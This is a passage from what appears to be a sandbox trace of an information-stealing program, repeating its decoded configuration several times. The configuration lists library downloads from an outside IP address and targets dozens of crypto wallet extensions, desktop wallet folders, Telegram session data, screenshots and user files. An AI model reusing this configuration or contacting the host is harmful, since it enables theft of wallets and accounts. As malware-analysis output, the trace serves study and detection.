Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.237] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.237] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.237] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.238] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.238] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f4830 [0266.238] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.238] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f7178 [0266.238] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.238] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f9ac0 [0266.238] lstrlenW 